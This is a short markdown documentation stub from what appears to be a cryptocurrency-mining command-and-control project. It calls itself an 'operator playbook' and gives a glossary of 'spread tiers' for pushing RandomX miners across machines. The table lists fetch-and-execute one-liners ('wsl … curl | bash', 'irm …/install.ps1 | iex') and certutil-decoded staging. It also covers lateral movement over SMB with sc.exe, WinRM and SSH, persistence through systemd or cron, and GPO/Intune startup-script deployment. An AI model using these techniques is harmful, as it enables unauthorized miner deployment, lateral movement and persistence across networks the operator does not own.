e8562e11cf
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
35 lines
2.0 KiB
Markdown
35 lines
2.0 KiB
Markdown
# Web-Mediated Spread Techniques
|
|
|
|
Canonical operator playbook (served at `/docs/SPREAD_TECHNIQUES.html` on a running command deck):
|
|
|
|
**[`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)**
|
|
|
|
Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)
|
|
|
|
Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.
|
|
|
|
## Master test doc + full glossary
|
|
|
|
Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:
|
|
|
|
**[`tests/README.md`](../tests/README.md)** — sections [LOTL architecture (triple onion)](../tests/README.md#lotl-architecture-triple-onion) and [LOTL vector glossary](../tests/README.md#lotl-vector-glossary).
|
|
|
|
Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).
|
|
|
|
## Mini glossary (spread tiers)
|
|
|
|
| Tier | One-line | Example |
|
|
|------|----------|---------|
|
|
| `vuln_recon` | Read-only KEV/CVE probe before spread | Triple-onion recon or `full_sys_check` |
|
|
| `docker` | Container-isolated RandomX | `com.docker.service` → `docker_load` join lane |
|
|
| `wsl` | WSL curl\|bash when Windows blocked | `wsl -e bash -c "curl … \| bash"` |
|
|
| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
|
|
| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
|
|
| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
|
|
| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` |
|
|
| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
|
|
| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
|
|
| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |
|
|
|
|
TypeScript source of truth for tier docs: [`server/web/src/help/lotlOnionTiers.ts`](../server/web/src/help/lotlOnionTiers.ts).
|